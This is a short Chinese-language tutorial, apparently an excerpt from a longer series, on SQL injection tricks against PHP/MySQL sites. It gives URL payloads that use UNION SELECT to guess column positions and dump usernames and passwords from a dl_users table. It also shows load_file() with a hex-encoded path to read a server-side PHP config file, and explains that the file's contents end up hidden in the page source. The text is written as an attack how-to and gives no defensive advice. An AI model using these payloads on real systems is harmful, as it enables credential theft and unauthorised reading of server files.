1.union select的技巧
union 用于将多个 select 语句的结果联合到一个结果集中。在 select 中的 select_expression 部分列出的列必须具有同样的类型。第一个 select 查询中使用的列名将作为结果集的列名返回。
然而有我们可以用下面的方法来猜测列的类型，可是省去很多时间
我们先
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
图24
看看软件描述里写着3，作者里写着4，我们就可以猜测3和4的位置是字符型的，我们再看14前面的是下载次数，这就应该是int型的了，对吧。
好了，我们根据这里来构建吧，估计username和password也是字符型的。
试试看哦
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如图25
哈哈，这种方法只要看看就可以大概猜到了。
2.load_file读写文件的技巧
不知道你有没有发现过在我们用load_file()读写php文件时不能在网页中显示。例如：
c:/apache/htdocs/site/lib/sql.inc.php 转化为16进制为：0x433a2f6170616368652f6874646f63732f736974652f6c69622f73716c2e696e632e706870
我们构造如下
http://localhost/site/display.php?id=
451%20and%201=2%20%20union%20select%201,2,load_file(0x433a2f6170616368652f6874646f63732f736974652f6c69622f73716c2e696e632e706870)
,4,5,6,7,8,9,10,11
如图26
发现在文章内容的地方本来该显示sql.inc.php的，可是却空空之，为何呢？
我们看看网页的源代码先
图27
哈哈，看看标记的地方，晕死，原来在这里啊，可是为什么哩？
原来html中用于标注，哈哈，明白了吧！下次可得记得在哪里找哦。
永久地址：
转载随意~请带上教程地址吧^^